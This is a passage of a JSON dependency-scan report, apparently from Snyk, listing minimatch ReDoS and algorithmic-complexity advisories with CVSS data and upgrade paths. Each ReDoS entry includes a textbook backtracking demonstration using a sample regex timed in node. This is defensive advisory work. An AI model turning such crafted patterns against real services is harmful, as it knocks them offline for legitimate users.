"GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": 